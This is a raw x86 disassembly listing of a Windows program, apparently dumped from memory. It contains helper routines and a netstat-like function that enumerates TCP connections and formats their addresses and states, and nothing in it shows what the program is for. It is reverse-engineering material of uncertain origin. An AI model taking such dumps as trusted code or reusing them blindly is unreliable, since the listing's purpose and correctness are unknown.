dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h
dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh
dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 90FFFE93h, 69BCE3E8h
dd 42468A71h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h
dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
locret_418840: ; CODE XREF: ___:00402202j
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_418860: ; CODE XREF: ___:00401EC4j
mov eax, [esp+0Ch]
push 0
push eax
mov ecx, offset dword_447158
call sub_401767
; ---------------------------------------------------------------------------
retn 10h
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418890 proc near ; CODE XREF: sub_401B09j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4021BC
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401622
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40142E
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_4020E5
sub_418890 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418900 proc near ; CODE XREF: sub_401AFAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40139D
sub_418900 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418940 proc near ; CODE XREF: sub_4021DAj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401311
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401F4B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401550
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_40205E
sub_418940 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4189B0 proc near ; CODE XREF: sub_401F4Bj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_4015D2
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401D84
mov eax, esi
pop esi
retn 4
sub_4189B0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4189F0 proc near ; CODE XREF: sub_401311j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401D84
mov eax, esi
pop esi
retn 4
sub_4189F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418A20 proc near ; CODE XREF: sub_4010B9j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401311
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401F4B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401550
pop esi
add esp, 0Ch
retn
sub_418A20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418A70 proc near ; CODE XREF: sub_402086j
push esi
mov esi, ecx
call sub_401528
mov eax, esi
pop esi
retn
sub_418A70 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418A90 proc near ; CODE XREF: sub_402211j
mov eax, [ecx]
push eax
call sub_401172
add esp, 4
retn
sub_418A90 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418AB0 proc near ; CODE XREF: sub_401361j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4015D2
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_418AB0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418AE0 proc near ; CODE XREF: sub_4016F9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40221B
neg al
sbb eax, eax
inc eax
retn 4
sub_418AE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418B10 proc near ; CODE XREF: sub_40142Ej
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_40183E
test al, al
jz short loc_418B6A
loc_418B28: ; CODE XREF: sub_418B10+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_40116D
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40123F
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_40183E
test al, al
jnz short loc_418B28
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_418B6A: ; CODE XREF: sub_418B10+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_418B10 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418BA0 proc near ; CODE XREF: sub_4020E5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401D57
sub_418BA0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418BC0 proc near ; CODE XREF: sub_401550j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_4016F9
test al, al
jz short loc_418C1A
loc_418BD8: ; CODE XREF: sub_418BC0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4012A3
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40214E
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_4016F9
test al, al
jnz short loc_418BD8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_418C1A: ; CODE XREF: sub_418BC0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_418BC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418C50 proc near ; CODE XREF: sub_40139Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401C53
sub_418C50 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_418C65
mov edi, esi
loc_418C65: ; CODE XREF: ___:00418C61j
push esi
call sub_4015D2
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_418C7A
mov edi, esi
loc_418C7A: ; CODE XREF: ___:00418C76j
push esi
call sub_401B1D
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418CA0 proc near ; CODE XREF: sub_40205Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4013F2
sub_418CA0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418CC0 proc near ; CODE XREF: sub_4015D2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_418CC0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418CE0 proc near ; CODE XREF: sub_401172j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_418CE0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418D00 proc near ; CODE XREF: sub_401528j
mov eax, ecx
retn
sub_418D00 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418D20 proc near ; CODE XREF: sub_401D84j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4020E0
mov eax, esi
pop esi
retn 4
sub_418D20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418D50 proc near ; CODE XREF: sub_40221Bj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_418D50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418D80 proc near ; CODE XREF: sub_40123Fj
var_4 = byte ptr -4
arg_4 = byte ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_40116D
mov ecx, eax
call sub_401C8A
mov esi, eax
push esi
call sub_401A82
push esi
mov ebx, eax
call sub_401C58
mov ecx, [eax]
push ecx
call sub_401A82
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401C58
push esi
mov ebx, eax
call sub_401A82
mov eax, [eax]
push eax
call sub_401C58
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401208
add esp, 1Ch
mov ecx, edi
push eax
call sub_401762
push esi
mov ecx, edi
call sub_4020E5
sub_418D80 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418E40 proc near ; CODE XREF: sub_401D57j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_418E40 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418E60 proc near ; CODE XREF: sub_40116Dj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401F0A
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_418E60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418E90 proc near ; CODE XREF: sub_40214Ej
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4012A3
mov ecx, eax
call sub_401ECE
mov esi, eax
push esi
call sub_4015D2
push esi
mov ebx, eax
call sub_401B1D
mov ecx, [eax]
push ecx
call sub_4015D2
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401B1D
push esi
mov ebx, eax
call sub_4015D2
mov eax, [eax]
push eax
call sub_401B1D
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401172
add esp, 1Ch
mov ecx, edi
push eax
call sub_4018C5
push esi
mov ecx, edi
call sub_40205E
sub_418E90 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418F50 proc near ; CODE XREF: sub_401B1Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_418F50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418F70 proc near ; CODE XREF: sub_401C53j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_418F70 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418FA0 proc near ; CODE XREF: sub_4013F2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_418FA0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418FC0 proc near ; CODE XREF: sub_4020E0j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_418FC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418FE0 proc near ; CODE XREF: sub_4012A3j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401361
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_418FE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419010 proc near ; CODE XREF: sub_401762j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_8
pop ecx
retn 4
sub_419010 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419030 proc near ; CODE XREF: sub_4018C5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_4
pop ecx
retn 4
sub_419030 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419050 proc near ; CODE XREF: sub_401ECEj
mov eax, [ecx]
retn
sub_419050 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4190B0 proc near ; CODE XREF: sub_402103j
var_14 = dword ptr -14h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4190B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_14], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
push 9
mov [esp+1Ch+var_4], 0
mov dword ptr [esi], offset off_43E074
call sub_4367FA
sub_4190B0 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+8], eax
test eax, eax
mov byte ptr [esp+14h], 1
jz short loc_41911D
mov ecx, eax
call sub_401F0F
; ---------------------------------------------------------------------------
mov [esi+32h], eax
mov eax, esi
pop esi
mov ecx, [esp+8]
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_41911D: ; CODE XREF: ___:004190FFj
mov ecx, [esp+0Ch]
xor eax, eax
mov [esi+32h], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419170 proc near ; CODE XREF: sub_401F0Fj
push 0FFFFFFFFh
push offset SEH_419170
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push 14h
call sub_4367FA
sub_419170 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+4], eax
test eax, eax
mov dword ptr [esp+10h], 0
jz short loc_4191BE
mov ecx, eax
call sub_4015B9
mov [esi], eax
mov eax, esi
pop esi
mov ecx, [esp+4]
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_4191BE: ; CODE XREF: ___:004191A1j
mov ecx, [esp+8]
xor eax, eax
mov [esi], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419200 proc near ; CODE XREF: sub_4015B9j
mov eax, ecx
retn
sub_419200 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419220 proc near ; CODE XREF: sub_401965j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_419220
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 14h
push 1
push 14h
push 13h
push 14h
push 5
lea eax, [esp+44h+var_24]
push 0Eh
mov esi, ecx
push eax
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_401681
add esi, 4
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
sub_419220 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4192C0 proc near ; CODE XREF: sub_40111Dj
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_274 = byte ptr -274h
var_25C = byte ptr -25Ch
var_23C = byte ptr -23Ch
var_224 = byte ptr -224h
var_199 = byte ptr -199h
var_198 = byte ptr -198h
var_119 = byte ptr -119h
var_118 = byte ptr -118h
var_99 = byte ptr -99h
var_98 = byte ptr -98h
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4192C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 298h
push ebx
mov ebx, ecx
push esi
mov [esp+2ACh+var_2A4], ebx
lea ecx, [ebx+4]
call sub_4017E4
mov esi, [esp+2ACh+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_419669
push ebp
push edi
push offset asc_443600 ; " "
lea eax, [esp+2B8h+var_23C]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
call sub_401681
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+2B4h+var_23C]
mov [ebx+36h], eax
call sub_401226
mov ecx, esi
call sub_4017E4
push eax
lea ecx, [esp+2B8h+var_274]
call sub_401861
xor ebp, ebp
push offset dword_443D94
lea ecx, [esp+2B8h+var_274]
mov [esp+2B8h+var_4], ebp
mov [esp+2B8h+var_2A0], ebp
call sub_4013E3
test eax, eax
jz short loc_41936F
mov [esp+2B4h+var_2A0], 2
jmp short loc_419389
; ---------------------------------------------------------------------------
loc_41936F: ; CODE XREF: sub_4192C0+A3j
push offset dword_443D90
lea ecx, [esp+2B8h+var_274]
call sub_4013E3
test eax, eax
jz short loc_419389
mov [esp+2B4h+var_2A0], 1
loc_419389: ; CODE XREF: sub_4192C0+ADj
; sub_4192C0+BFj
mov ecx, [ebx+32h]
mov edi, offset dword_443D84
xor eax, eax
mov edx, [ecx]
or ecx, 0FFFFFFFFh
add edx, 2
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebx+32h]
mov edx, [ecx]
mov byte ptr [edx], 1
mov eax, [ebx+32h]
mov [esp+2B4h+var_119], 0
mov [esp+2B4h+var_99], 0
mov [esp+2B4h+var_D], 0
mov [esp+2B4h+var_199], 0
mov eax, [eax]
cmp byte ptr [eax], 0
jnz short loc_419418
mov esi, dword_50FA9C
add eax, 2
push offset dword_443D84
push eax
call esi ; _stricmp
add esp, 8
test eax, eax
jz short loc_419418
mov ecx, [ebx+32h]
push offset off_443D80
mov edx, [ecx]
add edx, 2
push edx
call esi ; _stricmp
add esp, 8
test eax, eax
jnz loc_41964F
loc_419418: ; CODE XREF: sub_4192C0+123j
; sub_4192C0+13Bj
push 0C00h
mov [esp+2B8h+var_294], 0C00h
nop
call near ptr 77C2C407h
add esp, 4
mov esi, eax
lea eax, [esp+2B4h+var_294]
mov [esp+2B4h+var_29C], esi
push 1
push eax
push esi
mov [esi], ebp
call sub_436C60
; ---------------------------------------------------------------------------
mov eax, [esi]
mov [esp+2B4h+var_298], ebp
cmp eax, ebp
jle loc_419645
lea ebp, [esi+14h]
loc_419454: ; CODE XREF: sub_4192C0+37Fj
cmp dword ptr [ebp-10h], 2
jnz short loc_419468
mov ecx, [ebx+32h]
mov edx, [ecx]
cmp byte ptr [edx], 0
jz loc_41962F
loc_419468: ; CODE XREF: sub_4192C0+198j
mov ax, [ebp-8]
mov esi, dword_50FC20
push eax
call esi ; ntohs
mov cx, [ebp+0]
mov [esp+2B4h+var_290], eax
push ecx
call esi ; ntohs
mov esi, [esp+2B4h+var_2A4]
mov ebx, eax
mov eax, [ebp-0Ch]
push 1
lea edx, [esp+2B8h+var_198]
push 7Fh
push edx
push eax
mov ecx, esi
call sub_401474
mov edx, [ebp-4]
push 0
lea ecx, [esp+2B8h+var_118]
push 7Fh
push ecx
push edx
mov ecx, esi
call sub_401474
mov eax, [ebp-10h]
sub eax, 2
jz short loc_4194CC
sub eax, 3
jnz short loc_4194F2
lea edx, [esp+2B4h+var_25C]
mov edi, offset aEstablished ; "established"
jmp short loc_4194D5
; ---------------------------------------------------------------------------
loc_4194CC: ; CODE XREF: sub_4192C0+1FAj
lea edx, [esp+2B4h+var_25C]
mov edi, offset aListening ; "listening"
loc_4194D5: ; CODE XREF: sub_4192C0+20Aj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_4194F2: ; CODE XREF: sub_4192C0+1FFj
mov ecx, 23h
xor eax, eax
lea edi, [esp+2B4h+var_98]
rep stosd
mov ecx, 23h
lea edi, [esp+2B4h+var_224]
rep stosd
cmp dword ptr [ebp-10h], 2
jnz short loc_419518
xor ebx, ebx
loc_419518: ; CODE XREF: sub_4192C0+254j
mov esi, [esp+2B4h+var_290]
lea ecx, [esp+2B4h+var_198]
and esi, 0FFFFh
lea edx, [esp+2B4h+var_98]
push esi
push ecx
push offset aSD_1 ; "%s:%d"
push 8Bh
push edx
call near ptr 77C3FA76h
nop
mov edi, ebx
add esp, 14h
and edi, 0FFFFh
lea eax, [esp+2B4h+var_118]
push edi
push eax
push offset aSD_1 ; "%s:%d"
lea ecx, [esp+2C0h+var_224]
push 8Bh
push ecx
nop
call near ptr 77C3FA76h
add esp, 14h
lea ecx, [esp+2B4h+var_28C]
call sub_401424
mov eax, [esp+2B4h+var_2A0]
mov byte ptr [esp+2B4h+var_4], 1
test bx, bx
jnz short loc_4195B1
cmp eax, 1
jz loc_419616
mov edx, [esp+2B4h+var_2A4]
mov eax, [edx+36h]
test eax, eax
jz short loc_4195A4
cmp eax, esi
jnz short loc_419616
loc_4195A4: ; CODE XREF: sub_4192C0+2DEj
lea eax, [esp+2B4h+var_25C]
push esi
push eax
push offset aSD_0 ; "%s: %d"
jmp short loc_4195D7
; ---------------------------------------------------------------------------
loc_4195B1: ; CODE XREF: sub_4192C0+2CAj
cmp eax, 2
jz short loc_419616
mov ecx, [esp+2B4h+var_2A4]
mov eax, [ecx+36h]
test eax, eax
jz short loc_4195C5
cmp eax, edi
jnz short loc_419616
loc_4195C5: ; CODE XREF: sub_4192C0+2FFj
lea edx, [esp+2B4h+var_224]
lea eax, [esp+2B4h+var_25C]
push edx
push eax
push offset aSS_6 ; "%s: %s"
loc_4195D7: ; CODE XREF: sub_4192C0+2EFj
lea ecx, [esp+2C0h+var_28C]
push ecx
call sub_40102D
mov esi, [esp+2C4h+arg_0]
add esp, 10h
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+2B8h+var_28C]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
loc_419616: ; CODE XREF: sub_4192C0+2CFj
; sub_4192C0+2E2j ...
lea ecx, [esp+2B4h+var_28C]
mov byte ptr [esp+2B4h+var_4], 0
call sub_401226
mov esi, [esp+2B4h+var_29C]
mov ebx, [esp+2B4h+var_2A4]
loc_41962F: ; CODE XREF: sub_4192C0+1A2j
mov eax, [esp+2B4h+var_298]
mov ecx, [esi]
inc eax
add ebp, 14h
cmp eax, ecx
mov [esp+2B4h+var_298], eax
jl loc_419454
loc_419645: ; CODE XREF: sub_4192C0+18Bj
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_41964F: ; CODE XREF: sub_4192C0+152j
lea ecx, [esp+2B4h+var_274]
mov [esp+2B4h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
mov al, 1
pop ebp
jmp short loc_41966B
; ---------------------------------------------------------------------------
loc_419669: ; CODE XREF: sub_4192C0+3Dj
mov al, 1
loc_41966B: ; CODE XREF: sub_4192C0+3A7j
mov ecx, [esp+2ACh+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 2A4h
retn 4
sub_4192C0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419790 proc near ; CODE XREF: sub_401474j
var_20 = byte ptr -20h
arg_0 = byte ptr 4
arg_3 = dword ptr 7
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
mov eax, [esp+arg_3]
sub esp, 20h
mov edx, [esp+25h]
and eax, 0FFh
push ebx
push ebp
push esi
mov esi, ecx
mov ecx, [esp+32h]
mov ebx, [esp+2Ch+arg_8]
mov ebp, [esp+2Ch+arg_3+1]
push eax
mov eax, [esp+34h]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push ebx
push ebp
nop
call near ptr 77C3FA76h
mov ecx, [esi+32h]
add esp, 1Ch
mov al, [ecx+4]
test al, al
jnz short loc_419850
mov al, [esp+2Ch+arg_C]
test al, al
jnz short loc_41981E
mov eax, [esp+30h]
test eax, eax
jz short loc_41981E
push 2
lea edx, [esp+30h+arg_0]
push 4
push edx
nop
call near ptr 71ABE479h
test eax, eax
jz short loc_419850
mov eax, [eax]
push ebx
push eax
push ebp
call near ptr 77C47A90h
nop
